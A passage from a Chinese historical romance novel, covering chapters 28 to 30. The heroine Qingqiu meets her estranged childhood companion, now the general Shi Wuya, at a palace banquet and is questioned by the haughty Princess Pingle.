次日一早,清秋上妆挽发,绿柳取出那件葱白折枝山茶对襟褙子,搭着天青色百褶裙,腰佩玉飞天。 清秋本想和吕氏一道,但她没想到,王恒竟来付宅接她。 吕氏不做阻拦,先行一步。 王恒身着天青色圆领长袍,腰悬白玉,犹如林间松竹,皎皎如月。 “怎么想着过来了?”清秋笑问。 王恒自然而然地扶她上马车,清秋顺手搭上,王恒定定地看着她,今日的她又漂亮些。 “西大街离这儿不远,我顺路过来了。”王恒一本正经地说着。 可西大街和马行街一个在西一个在东,哪顺路了? 清秋抿唇偷笑,柔声道:“可不近,我知道的。” 王恒讪讪垂头,目光游移,道:“还蛮近,不远。” 马车碾过青石板路,咕噜咕噜作响,途径御街时,清秋闲来无趣撩开帘子,王恒则在一旁温书。 清秋对那少年将军本不好奇,亦不想见其真容,可架不住整个汴京都在提他。 如今市巷街头,都对这个小将军格外好奇。 进宫后王恒入后宫拜见姑母,清秋寻到吕氏,随同女史去仁明殿请安,能入宫的女子大多是世家贵女,这回凡京官子女皆可入宫。 但能见大娘娘却只有五品往上,已婚嫁的妇人也未得见大娘娘,清秋与盛婼相互照应,紧邻而坐。 盛婵身子绷得很紧,端坐在一群贵女之中,显得十分骄矜。 盛婼懒得瞧她装模做样,只朝清秋笑了笑。 她不在汴京的两年发生了许多事,哥哥娶妻,姐姐嫁人,是离她最近的,而张小娘子当上盛家主母则是她后知后觉的一桩事。 其实,这不奇怪。 但清秋明白,盛婼心里肯定不好受,何棋逝世时,盛婼也不过才几岁,盛家后院由张小娘子把持,纵使是嫡女也好不到哪去。 慈明殿内清净大气,王朝崇尚清雅节俭之风,宫中民间皆是如此,但到底皇宫,再节俭也藏不住华丽大气的殿宇。 上首的大娘娘鬓发斑白,凤冠夺目,岁月不败美人,大娘娘雍容华贵,历经两朝格外平静。 清秋离大娘娘有些距离,她看不太真切。 大娘娘凤眸微抬,目光隐隐含威,大殿外阳光透光窗棂洒进来,殿内女子粉衣罗裙如春日盛开的花朵。 大娘娘不动神色地叹了口气,只觉眼花缭乱。不过多时,大娘娘请画师入殿,将进来的女子都画了下来。 这一画就是一下午,将近酉时才堪堪收尾,清秋在殿外等着盛婼,盛婼出来便有宫女引路。 盛婼心觉不对,悄声问清秋,“大娘娘要我们的画像作甚?” 清秋蹙眉道:“不知,倒像是要选妃?” 盛婼大惊失色,急道:“你别乱说!要是这样,我就不进宫来了。” 引路的宫女将二人引至集英殿,不少名门贵女已然就坐,按规制盛婼不可与她同席,清秋拍拍她的手,让她安心回张小娘子身边。 吕氏已候在席间,清秋坐至她身边,吕氏今日端庄贵气,令不少郎君女子注目,清秋静静坐在一旁。 暮色四合,霞光透过雕花窗棂洒在集英殿内,殿中合香安神静气,此刻尚未开席,还空有许多席位。 清秋见案前摆着时令果蔬,并一些点心,她被大娘娘留下,今日还未用饭,眼馋地看着碟子里的点心。 吕氏无暇顾及她,方才她在仁明殿从娘娘口中得知那少年将军的名姓,正是那夜付远衡同她所说之人。 户籍,年岁,相貌,统统的对上了。 这次宴会为师无涯而办,到那时二人相见,吕氏不敢深想。 清秋想动糕点却碍于礼数,只得端着,恰此时,她身后一宫女手托金盘上茶,她道:“这是王郎君托我给姑娘送来的。” 宫女从袖中拿出油纸包着的桂花糕,清秋眉间一喜,悄悄藏了下来,趁着一个转身塞了一块小心咀嚼。 日暮降临,空席陆陆续续地坐满,官家与娘娘紧随其后,至此时都未见那传言中的少年将军。 乐官舞姬纷纷进殿献舞,官家高坐上首,沉稳厚重的声音响彻集英殿。 “小将军初次进宫,听梁都知说,他在宫里迷了路这会才来,诸位不必拘礼。” 言罢,乐官奏起乐曲,大殿正中水袖轻舞,舞姿曼妙齐整与乐声相合。 清秋听不太清官家的话,如今乐声一响,只觉人声遥远,吕氏蹙额颦眉,直担心二人相见。 月华如水,静谧地拢起一层薄纱,集英殿琉璃瓦泛着银光。 清秋吃过一盏茶,目光被那一方临近官家的席位吸引,到底是何方神圣,既然能让官家等着,百官陪衬他。 如此想着,却听乐官所奏之声越来越急,如同玉珠落盘。 清秋顿时收回视线,官家半阖着眼,抬手示意乐官停下,百官见此放下手中杯盏,连同席间的贵女妇人都齐齐望向殿门。 吕氏忽地摁住她的手,清秋心觉诧异,不解其意,吕氏眼露担忧。 清秋心有所感,即刻望向殿门前那身影,那人着绀色劲装,墨发高束,年方二十左右,眼下一颗红痣格外别致。 是他。 第29章 “近两年,你可还好。”…… 时隔两年, 于万千人中只一眼,清秋便认出了他。 十二年间朝夕相伴的那些碎片跃然眼前,清秋怔怔地看了眼, 唇边抿开一抹浅笑, 师无涯如何, 早与她无关。 管他是什么风光的将军,于她而言不过是个过路人。 集英殿前的月光落在他的宽厚挺拔肩头,师无涯仍如当年那般, 眉宇间透着一丝散漫,面对百官所在的集英殿, 他目光平视前方毫无怯意。 诸多视线落在他身上, 师无涯不甚在意,他的目光不曾落在任何人身上,只是从容自在地往官家所设席位走去。 吕氏紧紧摁住清秋的手, 仓皇地看着她,清秋眸光极其平静, 如同山涧溪水静谧流淌,掀不起一丝波澜。 清秋轻柔地拿开吕氏的手,明媚一笑, 问:“嫂嫂, 知道了些什么?” 吕氏眉头舒展,心头悬着石头总算落了下来。 师无涯和清秋毕竟是两年前的旧事,饶是那时情真意切, 如今时过境迁,自是不同。 想到此处,吕氏长舒口气。 “一些旧事,都过去了。”吕氏悄声说着。 乐声再起, 殿中水袖起舞,女眷闺秀朝那青年望去,直到落座仍有不少目光落在他身上。 师无涯坐在官家下首,官家亲自敬酒,其间不乏夸赞之语,清秋离得远听不清楚,她也无心去听。 与她遥遥对坐的是尹惜,自师无涯进殿中,尹惜时不时打量清秋,清秋有所察觉,但却并未回应尹惜。 两年前的事知之者甚少,但所知之人大半都在这集英殿中。 付远衡见来人几分面熟,待师无涯一步一步走近之时才猛然发觉这是何人,师无涯散漫的目光与付远衡相撞,师无涯见是旧相识,唇边含笑点头,只这一瞬付远衡慌了神,别开眼去看清秋。 只见清秋与吕氏把酒言欢,好似并无关心来者是谁。 师无涯剑眉星目,行为举止之间似有世家子弟的礼仪规矩,他甫一坐下便有人以敬酒为名打探他的家世,又问其是否娶妻。 闻言,官家和善笑道:“师小将军倒还未娶妻,你若有心仪的女子,我替你做主如何?” 付远衡位次临近宰辅,离师无涯不过一丈远,官家所言,听得格外清楚。 谈及赐婚一事,付远衡眉头紧锁,小心探听。 师无涯在付家借住十二年,不喜清秋,和付清岁走得极近,可惜付清岁已然嫁人,倘若要师无涯娶妻,他又会娶谁? 思及此,付远衡只怕师无涯记着当年旧事,心有怨恨,要赌气娶清秋。 师无涯思忖片刻,眸中含笑,诚恳道:“臣尚年少,不急着娶妻,但官家有此意,臣不好回绝,可否日后待臣遇着心仪的姑娘再向官家请旨?” 语罢,官家沉声道:“我允了。” “听闻师将军是杭州来的,父亲曾任杭州通判?”席间有一老者,居官家下首,另设坐席。 他眉目和善,鬓发斑白,眯着眼打量师无涯,官家听他如此说,心觉熟悉。 师无涯拱手作揖,道:“是,家父师远,与尹太师曾在杭州见过。” 尹太师眼眯成缝,朗然笑道:“是了,是了。官家,这师三郎君是师远幼子,惜儿随我回杭州时,我曾见过他一面,师远为人清明,我欲与之结交,但却因回京赴任,最终不了了之,后我在京中听闻杭州通判去世,心中悲愤。” 尹太师说及往事,仿佛窥见岁月的痕迹,满眼憾事。 “我是晓得师远家中子嗣稀薄,又无近亲,本欲寻他幼子教养在身边,只是我晚了一步,有人先一步接走了师三郎,命家仆打听才知是师远好友接走,如此一来,我便放下了此事。却不想又能在这集英殿中再见师三郎,你与你父亲有七分像。” 师无涯不曾知晓这件事,与他父亲相关的那些事,那些人,在他的印象里十分淡漠。 难怪当年尹惜会认出他,原来他是见过她的。 “家父过世十余年,尹太师还能记得我父亲,实乃家父之幸。”师无涯低眉垂首,墨色眼瞳里搅起一阵波澜。 君子之交淡如水,仅一面之缘,尹太师竟会想亲自教养他。 官家得知二人还有如此源渊,追封师远为观察使,准师无涯得闲时回杭州祭拜。 师无涯受宠若惊,忙叩谢圣恩。 父辈的事,付远衡不曾知晓,方才尹太师所述,他从未听闻。 但倘若当初真由尹太师收养师无涯,那如今的师无涯又会是另一副模样,是好是坏犹未可知。 付远衡不敢去想这桩婚事。 过去的事,已然过去,师无涯如何,与他付家再无关系。 当年早就分说清楚,倘或师无涯翻脸不认,他付家也不是人人拿捏的软柿子。 殿内亮如白昼,乐声人声混杂,席间推杯换盏,清秋吃不惯宫中佳肴,青山寺的两年叫她改了口味,甜的一概不食。 吕氏与身侧之人交谈,清秋闲来无事,正欲闭目养神,只微微阖眼,静听乐官奏乐之声,这曲子她曾听王恒讲过。 《霓裳羽衣曲》前朝盛行,但因其着实耐听,曲声悠扬绵长,故而仍为宫廷所用。 只是这曲子经人改过,并未原曲。 乐声婉转动听,时而如高山流水,时而如碎玉落盘,起起落落。清秋听得认真,但她心绪平静,不为乐声所动。 大殿之中贵女举止优雅,言笑宴宴,无人在意她是否行为举止得体。 起伏不定的乐声出现了裂痕,清秋眼睫轻颤,浓密卷翘的长睫阖动,恍然一睁眼,只觉灯烛刺眼。 有乐官的琴弦断了。 如此想着,清秋抬眸望向对面的乐官,乐官分坐不一,殿中是为炉火纯青的老人,而年纪小些的则在廊柱后伴乐。 那人的弦断了不要紧,装个样子仍能混过去。 清秋还未寻到那弦断的小乐官,就觉身上被什么笼着,像是一张大网将她裹在其中,让她有些喘不过气。 这感觉并不好受,清秋眼波流转,却见有人正盯着她。 那目光似火焰,越过岁月的长河,似有万顷的燎原之势。 清秋朦胧地凝视着他,师无涯究竟是何神情,清秋看不清楚,只晓得那目光刺人又灼热。 师无涯紧攥着杯盏,满殿名门贵女,但在这锦绣衣堆里,他只一晃眼便看见清秋。 两年别离,她容颜未改,与从前一般无二。 可,有别样的东西变了。 她看向他的眼神,淡然深远,再不见从前的好奇欢喜。 师无涯的视线不自觉地被她吸引,他的目光游移,企图在她的身上窥见一丝情意,可当年的事,哪有什么情意可言。 思及此,师无涯剑眉深蹙,橙黄的烛光映照着他眼底掩藏的愁绪。 师无涯旋握手中白瓷杯,蓦然想起当年的旧事,付清秋于他而言不过是个过客,师付两家恩断义绝,何必再生出旁的心思。 酒过三巡,殿内喧闹不减,官家吃醉,与百官言笑。 清秋回过神吃了杯酒,还未吃完便有宫女上前来,道:“平乐公主请姑娘一见。” 吕氏见那宫女搭话,问起缘由,宫女如实道来。 平乐公主乃张贵妃所出,张贵妃又与张小娘子同宗,只是有嫡庶之分,张小娘子一心嫁到盛家做妾,与张家几乎断绝来往。 张小娘子也是有好本事,只在盛家几年便熬出了头,做了当家主母。而这张贵妃生有龙凤胎,除却平乐公主,亦有一皇子,是为二大王杨岚。 付家与张家一向没有往来,那位长居宫中的平乐公主她也不曾认识,怎么会突然要见她。 清秋心中有疑,可公主之命,如何能不听,更遑论这还是位有尊贵体面的公主。 吕氏道:“去吧,我同你哥哥在殿外等你。” 宫女作势请她,清秋只得动身前往,云露绿柳见此,忙跟上去,却被另一名宫女拦住,那宫女口齿伶俐,甚是傲气。 “公主有请,你们候在这就是,若是担心只管问公主要人。” 语毕,宫女快步离开,云露绿柳只得候在殿内。 集英殿外月华倾照,明月高悬,幽静巍峨的皇宫,宫道上零星的宫灯,在夜色中起舞。 比起集英殿里的酒气脂粉,清秋只觉跨出殿门那刻,身心皆舒畅,一口长夜凉气深吸到底。 几名宫女请她到公主寝宫,穿过枝叶横陈的甬道,石灯明亮,星子扑朔。 清秋跟着她们进殿,殿中温玉暖香,较之集英殿繁复亮堂,许是这位公主颇爱金玉瓷器,殿中陈列皆是名贵之物。 宫女掀起重重叠叠的珠帘,碎玉碰撞,泠泠作响,香雾袅袅。 黄梨木罗汉塌上的紫衣华服的女子,闻声渐渐醒神,随侍的宫女,见此忙去斟茶倒水。 清秋低眉敛目,垂首肃立,只见那榻上之人,不疾不徐地支着下颚,眉目轻挑,大有睥睨众生之势。 只这不容人直视的气势让清秋极为不适。 平乐公主自是有贵气的依仗,晾她一晾,无可厚非。只是这么多名门贵女,怎么偏偏是她,清秋腹诽,面上却不敢有一丝不敬。 好在平乐公主只是晾了她一口茶的功夫,不多时,她朱唇轻启道:“上座。” 清秋依言就坐,平乐毫无顾忌地打量她,清秋虽觉不适,但却不敢言,平乐的姿态太过高傲,看她如看物件。 好半晌,她启唇,声如轻铃,“付清秋,付家二姑娘,母亲韦南风是杭州商贾出身,父亲付彰中举在杭州任县尉,昭宁六十五年举家进京赴任。” 她说及此,忽地顿住,唇边荡开明艳至极的笑。 清秋眉目微蹙,不解其意。 “随付家一道的,还有个人,那人与你是什么关系。”平乐坐直身子,居高临下地俯视她,眉眼甚是轻蔑。 平乐屏退宫女,殿内只余她二人,万籁俱寂,烛光幡然起跃。 “父亲故交,曾在付家借住一段时日,后又离开,如此而已。”清秋缓缓抬眸,她的目光清和宁静。 平乐看着她的眼神,似笑非笑地颔首,道:“如此啊?那真是有缘,这位师将军与我有些缘分,听闻与付宅又有些源渊,看来是了。” 与师无涯的一切,其实都已陌生恍惚。 自她与师无涯相识,也不过是分隔两年,怎么就会生出一种隔世经年的飘渺虚幻之感。 清秋疲于思索,只将心头那点疑惑压下去。 “如此甚好,付清秋记着你今日所说的话,本公主会一字不落的转述给师将军。”平乐黛眉微挑,煞是欢喜。 闻言,清秋眸光闪过一丝笑意。 平乐将她付家的家底掀出,定是探过师家底细,又查暗中查到了些别的东西。 清秋神色自若,放低声音,道:“方才所说,一应属实,公主若不信可去查问家中下人。” “不用了,我只随口一说,付二姑娘切莫慌张。今日让付二姑娘前来,实在唐突,我已命人备下歉礼,付二姑娘一道带回罢。”平乐似松了口气,约莫是心情好,她眉梢轻扬,削减几分威压之势。 平乐所说歉礼,清秋不敢不收,颔首称是。 清秋见她不再问话,正欲起身请辞,平乐不做阻拦,清秋福身道:“公主,若无别的事,小女子便先退下了。” 平乐不语,宫殿阒寂,清秋进退不能。 这位身份尊贵的公主,是在戏弄她,还是在作何试探。 可她哪里有得罪了这位帝王血亲,天皇贵胄。说不慌张,定然是假的,清秋想不通这其中关节,仍由平乐冷眼看着她。 倘使是为师无涯寻她的错处,那真是无妄之灾。 她和师无涯不该是青梅竹马,应当是死对头。 清秋不敢轻举妄动,只等着平乐发话,平乐扫她一眼,捧起建窑兔毫盏,悠闲自在地啜饮。 约莫一盏茶的功夫,平乐才道:“付二姑娘,我还有些别的话要问。” 闻言,清秋只得坐下,垂首静听。 “付大人从杭州到汴京,一路稳扎稳打,有了如今的风光,付二姑娘,我想问你一问,你可做过什么亏心事?”平乐从榻上起身,垂眸审视她。 平乐对她态度不明,不知何意,纵使有再好的脾气,如今也被磨得恼怒,只是眼前人身份不俗,清秋眉心微蹙,启唇道。 “公主说笑了,小女子父亲一向正直仁厚,承蒙父亲教导,家中兄弟姊妹皆是如此,实在不知公主何意。” 语毕,平乐深吸口气,眼中笑意更甚。 “行了,我乏了,付二姑娘退下罢。”平乐拂袖坐回榻上,红袖翻动时带起沉沉的檀木香。 得她开金口,清秋如释重负,深深吐出一口气。 这还是她头一回独自面见王公贵戚,那位盛气凌人的公主,叫她喘不上气,直至出了宫殿,清秋仍觉胸口闷着郁气。 她说不清那是什么滋味,只知道平乐公主对她有捉弄之心,故意以身份压她。 何必呢,就算是为师无涯,她和师无涯也从来没什么。 清秋踏出缓步踏出殿门,殿门大开,宫女鱼贯而入,手中托着木盘,清秋慌忙让行,她在廊下侯了片刻,却不见有人来为她引路。 此时,清秋才知,平乐公主要让她自己走回集英殿。 且不说,她是头一遭进后宫,如今夜深露重,她哪里记得来时路。 清秋垂首往外走,她总归是要出去的,赖在公主寝宫,怕是又要遭了平乐的道。 月明星稀,凉风满袖,吹得花丛树枝纷乱,几盏石灯摇摇欲灭。鹅卵石铺成的甬道,足有一丈宽,幸而石灯不灭,她能辨明出路。 清秋只一心要出寝宫,不曾注意迎面而来的一道身影,月光将他的影子拉的很长,人还在远处,影子却落在她的视线里。 那影子有些熟悉,是哪儿熟悉,清秋说出上来,她垂眸盯着那影子失了神,而那影子却蓦然在她身前停住。 只那一瞬,她记起了这影子是谁。 恰在此时,那人出声唤她。 “付二姑娘。” 清秋眸光震颤,身前交叠的双手蓦然一紧,连带着一颗心悬吊起来。 那声音太过熟悉,十二年,整整十二年,她对这声音已有了下意识地反应。 殿外朗月清风,明月高照,万籁俱寂,仿佛天地之间只余他二人。 一阵凉风吹来,堪堪吹醒清秋,她定了定神,缓缓抬眸,退后一步向师无涯施礼。 “师将军。”清秋淡声回道。 这一声淡漠之极,仿佛隔着时光的长河,像是被冷池水浸染了一轮又一轮,陌生又熟悉。 师无涯心下陡然,眼底划过不易察觉的悲戚。 他在期盼些什么,他该期盼些什么,一时之间,师无涯有些怔忡。 今夜的清风明月吹不散两人心头的慌张,照不明两人的心思。 时隔两年,再次相见,竟是如此仓促。 回想当年,清秋只觉那不是自己,她从未做过那些荒唐事,什么为情自戕,都是一场梦,梦醒了就是如今这个样子。 清秋不仰头去看他,他早已不好奇师无涯此刻是何神情,亦不在意他眼底的情绪。 她是恨他的,清秋恨恨地想,她此刻拍打师无涯,声嘶力竭地诉说当年病重失声,又再说这两年他如何的无情无义。 可到头来,清秋只是弯唇笑笑。 那是十五岁的她想做的事,可她如今正值桃李年华,已不再莽撞行事。 往事随风,再纠结倒成了解不开的结了。 清秋眸光盛满月光,莹亮纯净,她仰首轻笑,道:“师将军别来无恙,仍旧如当年俊朗。” 四目相对,师无涯反从她的眼神中窥见几分坦然,是坦然,也是冷冰冰的礼数,从前付清秋从不纠结这些。 眼前人仍如当年,眉眼灵动,生得秀美,承了江南美人的神韵。 清秋的话,师无涯好似没听见,他一时只盯着她看。 “师将军,男女七岁不同席,你如今这般盯着我看是要作何?”清秋眉眼生出几分不悦,登时垂下眼。 “付清秋,你这样装模作样的说话,一点都不像你。”师无涯似打趣,似讥嘲。 只可惜,清秋并不接这话,仍抿唇笑道:“师将军,我与你似乎不甚相熟。” 语罢,清秋无辜地眨了眨眼,让他的话落了空,师无涯眉头拢起,不解地打量起她。 师无涯见她说的话有模有样,不像是故意噎他。 “你如今倒是学起别的手段来了,可惜我仍旧不喜欢你。”师无涯挑眉,眼中掩不住几分得意,笃定清秋是为他如此。 细说起来,她却是因他变成这副模样,可却不是为了让他喜欢。 思及此,清秋唇边的那抹淡笑渐渐冷了起来。 二人重逢,她已给足了师无涯体面,却不想他如此不要脸。 “师将军,何须你来喜欢我,你我二人不过是旧时玩伴,莫将话说得太真,倒叫自己丢脸。”清秋淡淡道。 此话一出,师无涯微怔,漆黑眸子泛不起一丝光彩,先前漫出的得意乐趣都被淹没。 一股没由来的心慌充斥他的心,由心底深处蔓延至周身。 “方才是我唐突,付二姑娘与我确实只是旧时玩伴。”师无涯忙往后退了一步,拱手作揖,眉间隐隐藏着几缕愁绪。 师无涯前后判若两人,清秋分不清那一人是他,总归是师无涯能做得出来的事。 毕竟,在杭州对她是一副模样,在汴京又是另一副模样。 清秋不以为意,只道:“师将军言重了,不算唐突。师将军,时候不早了,我便不与你叙旧了,亦没有什么可叙旧的。” 两年前,师无涯何等决绝,与付家断绝往来,再无瓜葛。 那么如今她和师无涯又有什么好叙旧的。 清秋颔首欲走,只刚走出一步,却听师无涯倏然开口,他脱口而出:“近两年,你可还好。” 师无涯回身望着她,他的目光,随着月光落在她的身上,记忆中的清秋好似没有这般清瘦,瘦得让人心疼。 忽地,晚风来急,搅起清秋天青色裙裾,她的发钗横斜,端庄清丽,是绿玉佳人。 师无涯目光灼灼,于她方才在集英殿感受到的那张网一样,一张由目光所织的网,笼得她心头焦闷。 “很好,”清秋忽地一顿,唇畔带笑,“托师将军的福,我快定亲了。到时,还请师将军来席间喝一杯。” 定亲? 师无涯眉头紧锁,上前一步,这一步逼得清秋往后退,她仰头对上师无涯一双灼灼燃烧的瞳眸,清秋心有困惑。 师无涯气什么,而她又退什么。 第30章 这是世上最好的姻缘 月华如水, 银辉如薄纱笼罩凉薄的夜,鹅卵石铺成的甬道两侧的花丛簌簌作响。 风拂过耳畔,扬起两人鬓边散发。 师无涯眼中的那片灼灼燃烧的火焰不曾褪去, 他恨恨问道:“你方才说什么?” “我要定亲了。”清秋一字一顿, 声音轻柔坚定, 犹如此夜的风,带着些许凉薄却又如此的轻。 清秋双眸水润,如同一江春水, 笑得清甜,她想若是和王恒成婚, 往后的日子应当会如同蜜糖水。 两人静了好半晌, 师无涯盯着她的眼睛,蓦然失笑,咬紧后牙道:“恭喜付二姑娘了, 这许多年,能见付二姑娘成婚倒也是一桩稀奇事。” 稀奇? 有什么好稀奇的, 师无涯话里藏刀,清秋听得明白,只是他呛她是为何呢? 想来是高傲惯了, 不肯对她好好说一句恭贺的话, 好在清秋并不在意他是否恭贺,她的婚事只要她自己欢喜就好。 “多谢师郎君。”清秋淡淡绕过,不接师无涯的话锋。 师无涯见她如此, 一时之间吃瘪,眉目紧锁,想说些什么挽回,又觉得自己落了下风。 踌躇之间, 清秋却格外洒脱。 她道:“师郎君,我真不与你叙旧了。既是来公主寝宫想必是公主召见,就别再当误了。” 话落,清秋头也不回地离开。 师无涯哑口无言,什么话也说不出,往日都是清秋将话送到嘴边,他顺承或是呛她,清秋都会回应他。 如今是不一样了。 师无涯眸中倒映着她离去的背影,万千思绪堵在心头,集英殿再见,他的目光总自然而然地落在她身上。 那抹身影消失在宫殿外,融进浓密月夜,再瞧不见一点痕迹。 良久,师无涯堪堪回过神,殿门口的宫女见他在此发愣,便道:“公主已候在殿中,师郎君快请。” 眼尖的宫女上前为他引路,他身上有几分酒气未散,行至门前时,宫女正用香薰,却听殿里头传出声音。 “不必了,让他进来。” 宫女只得收手,心中生疑。 平乐公主是众多公主中出身最好的,一向挑剔,对待宫人赏罚分明,平日里是见不得一点污垢,也不闻一丝酒气,今日却让人带着酒气入殿,着实罕见。 师无涯被引进殿内,殿中檀香安神静气,榻上一美人半撑着小几,挑眉打量着来人,宫女见平乐眼色行事,忙为师无涯上座。 平乐不疾不徐地起身,道:“师无涯,杭州人氏,父亲曾任杭州通判,母亲萧氏,萧家庶女嫁与杭州通判真是好不风光。” 师无涯微微挑眉,忍着不耐道:“平乐公主查我?” 平乐漫不经心地道:“又如何?师将军,我请你来,是有话同你说,听闻你骁勇善战,智勇双全,在渭州大展拳脚,连广威将军都被你压了下去。我心下好奇是怎样的将军,又是怎样的威风。” “又是怎样的英武俊朗——” 她说这话时,倏忽起身,垂眸俯身贴近师无涯,平乐饶有兴致地盯着他。 平素人人都俱她,只师无涯挑眉相对,到底是外臣,有几分底气,不似方才的付清秋,不经吓。 师无涯不喜她靠得如此近,平乐在从他的眼睛看别的东西,可他眼底的情绪,何必要叫别人知道。 师无涯侧目,转过头,沉声道:“公主请自重。” 闻言,平乐痴痴笑起来,眉眼极其明艳,收敛几分轻慢之态。 她一笑,师无涯眉头锁得更紧,此刻他心里正烦乱,平乐不明所以地举动更是添堵。 “师无涯。” 师无涯眸光忽沉,听她唤起自己的名姓渐生烦意。 碍着官家的面子他须得敬着这个公主,可他又不是什么伶人任人拿捏摆弄。 师无涯由烦生恼,冷眼看着平乐有何打算。 “我与你有些源渊,萧氏与我外祖母同宗,你既是萧氏之后,可唤我一声表姐,也是不埋没亲戚间的情意。”平乐媚眼如丝,看着师无涯的神情三番四次的变换。 师无涯目光平静,冷道:“平乐公主,也是想攀一门穷亲戚?” “是也不是。论情理,我本该是你表姐,如何唤不得?”平乐仍旧笑意盈盈,但她的笑淬着毒,不敢教人靠近。 平乐甩袖坐回美人榻,支手扶额,斜倚着身子,恰似美人横卧,眉眼俏丽。 师无涯静静看着平乐,平乐抿唇笑道:“师无涯,唤我声表姐听听。” “表姐?我不认。”师无涯倏地起身道,“我母亲虽姓萧,却与公主所说的萧氏毫无关系,臣也攀不上平乐公主这样的表姐。” 那是一桩旧事,远得师无涯快要忘记。 昔年往事,追溯至十五年前的杭州,他的母亲萧氏——萧稜,是当时杭州知府庶女,而他的父亲进士及第,受杭州知府之恩,又与萧稜情投意合,心意相通。 这本是人人乐道的一桩美事,可萧家主母不允,这样的荣华富贵落到旁人生的庶女头上,实在可恨。萧家主母暗地与萧大人协商,二人偷梁换柱,要让嫡女嫁给师远,并让萧稜做腾妾。 就算将来东窗事发,师远亦无话可说。 如此一来,萧氏的富贵梦便是成了。萧氏主母恐萧稜出逃告状,临出嫁前将其软禁,萧稜被囚在暗无天日的柴房中,而另一头的师远却在采办婚事所需,他暗暗想着将来定不会叫萧稜委屈。 萧稜素日和善,待家中下人格外体贴,一日有心善的女使送饭来,为她开了柴门,告知她后院小灶房有个狗洞,可出府去。 “五姑娘,出了府就别回来了。”女使眼含热泪,一狠心开了柴门。 萧稜亦哭得泣不成声,萧家待她有抚养之恩,如今却又要将她嫁人为妾,抢她的婚事,若她嫁的是别人,萧稜仍由主母发落。 可师远不是别人,是她在灵隐寺求来的姻缘。 萧稜如此想着,一路遮遮掩掩出了府,她去灵隐寺那棵姻缘树下,等着师远相见。 那一日,师远本是不去灵隐寺的,可在街上买簪子时,他身上的红绳不知落到了何处,于是他便去灵隐寺求师父问一问,却在姻缘树下遇见落魄不堪的萧稜。 那是她的未婚妻,是他在姻缘树下求了一年又一年的心上人。 萧稜将一切告诉师远,师远不惧萧家权势,也不怕被唾骂忘恩负义,只带着萧稜离开杭州,赴任汴京。 这些事,师无涯本是不知道的,是师远的手札所记。倘使,平乐与他当真有亲缘关系,那也谈不上多深厚。 他的母亲温良贤淑,但却身弱,师无涯实在记不起萧稜的模样,萧稜去世时,他不过才四岁。 师无涯黯然垂眸,父母兄弟的模样,很近很远,近的时候在梦中一触便够到了,远的时候就如同现在,想要记清母亲慈爱的目光,却总是抓不住母亲的神韵。 殿内烛光飘摇,丝丝缕缕白雾腾起,殿门紧闭着,只开着一扇花窗。 橙黄明亮的灯烛照师无涯的侧脸,光影之间,他骨相优越,剑眉星目,挺鼻薄唇,左眼下一颗殷红泪痣,又添张扬恣意之态。 若是不识得的人,只当是谁家的贵公子。 他六岁之前或许是,可自六岁之后,他便是丧家之犬,檐下狸奴。 “无妨,师将军不认也没什么,总有别的亲可以沾。”平乐不急着让他认,又笑言,“不如你娶我如何?” 此话一出,师无涯如遭雷劈,眼中神情变了又变,平乐看他脸青一阵白一阵,只觉好笑便由着自己放声笑起来。 师无涯气急,却又奈何不得大昭公主,只生生忍下这口气。 “师将军,这是什么表情?”平乐忽地止住笑,冷下脸来,“我配不上你?” “公主说笑了,是臣配不上公主。”师无涯起身作揖,“公主要见臣若是说此事,臣惶恐。” 平乐早知此事不会简单,不过是先诈他一诈,叫他心里有个底,如今看来此事得另寻他路。 “师将军起来罢,我向来玩笑惯了,吓到了师将军了?”平乐素手斟茶,递至师无涯面前,她眉眼柔和,多了几分羞怯之意。 那兔毫盏如烫手山芋,师无涯不得不接,他缓缓接过,谁知平乐指尖一动,勾起他的手背,平乐眼波流转,目光灼灼,似有万千的情语呼出。 师无涯微怔,却不敢松手。 “师将军初次回京,好像不太了解汴京局势呢,广威将军未同你说过?”平乐直起身,注视着他漆黑的瞳眸。 平乐眼中的窥探欲太过明显,师无涯撤回手,稳稳放下杯盏,道:“臣是武将,不懂什么公主在说什么。” 师无涯目光沉着,瞧不出端倪,平乐始终眉目含笑,余下还有些话她想同师无涯说,但不是最后一面,话说完了日后便没什么说的了。 “叨扰师将军,也是听闻师将军英勇才想急急一见,师将军果然不俗,日后若是能日日相见,就好了。” 平乐眉间带媚,分明只见过师无涯一面,她却眼中含情,仿佛是见到芳心相许的情郎。 师无涯被她几次三番调笑,早没了好脸色,暗道平乐仗势欺人,叫他有苦难诉。至于平乐所调笑的事,师无涯却无心当真。 他一贯高傲,却不得不在公主面前低头。 纵观大昭,平乐公主出身最好,容貌最佳,又是头生的公主,深得官家宠爱。 可平乐桃李年华仍无婚配,着实纳罕,旁人只道这个公主瞧不上状元郎,或许是心有所属,又或是还未遇得心上人。 “师将军,汴京的街道四通八达,切莫走错了道。”平乐眸光一凛,摆摆手道,“师将军,今日的话,便说到这儿罢。” 师无涯躬身,沉声道:“臣告退。” 殿外月色溶溶,穿过鹅卵石小径,师无涯蓦然顿住,方才清秋就站在他面前,与两年前一般无二,怎么就会说出那样淡薄的话。 师无涯不敢深想,皱着眉快步离开。 —— 月光清冷,时值九月,晚夜风凉。 清秋离开寝宫时,望着茫茫月色,以及蜿蜒无尽的宫墙,一时间清秋分不清东南西北,前后左右都是宫道,而要回集英殿的路她却不知道。 平乐公主为难她,因此寝宫外无别的宫人,上回有这样怅然无措的时候,已经过去了很久。 清秋定了定神,长舒一口气,决心往左去。 “付二姑娘。” 只刚踏出一步,身后有人唤她,清秋乍然抬眸,原本怅惘的心事,只这一刻安稳下来。 疏风朗月,长风吹拂夜色,宫道静得出奇。 清秋回首望向来人,唇边荡开轻浅的笑意,那人着缃色鹤纹窄袍,腰佩双鱼环,他提着一盏琉璃灯走至她身边。 直到他走近,清秋才看清此人仰目,鬓若刀裁,目如点漆,虽有玉冠束发,可却掩不住他身上的侠气,更像是个风流侠客。 在生死危难之际,清秋曾见过他。 “小女子见过中郎将。”清秋颔首施礼。 杨淮蔺勾唇轻笑,道:“付二姑娘怎会在平乐公主寝宫?” “平乐公主召见便来了,巧遇中郎将。”清秋微微抬眸,却见杨淮蔺目光紧盯着自己。 杨淮蔺眸光温和,关切问道:“平乐公主性子傲慢,可有为难你?” 清秋摇头,暗道就是有,说了又有何用,多一事不如少一事。 清秋眸光忽闪,忙道:“中郎将,我在宫中迷路了,可否带我出宫?” “愿为姑娘效犬马之劳。”杨淮蔺颇为熟练地躬身,他余光落在清秋身上,见她眼中有几分笑意,跟着笑了起来。 两年前清秋在保神观前,见过杨淮蔺一次,但平生也只见过那一次。 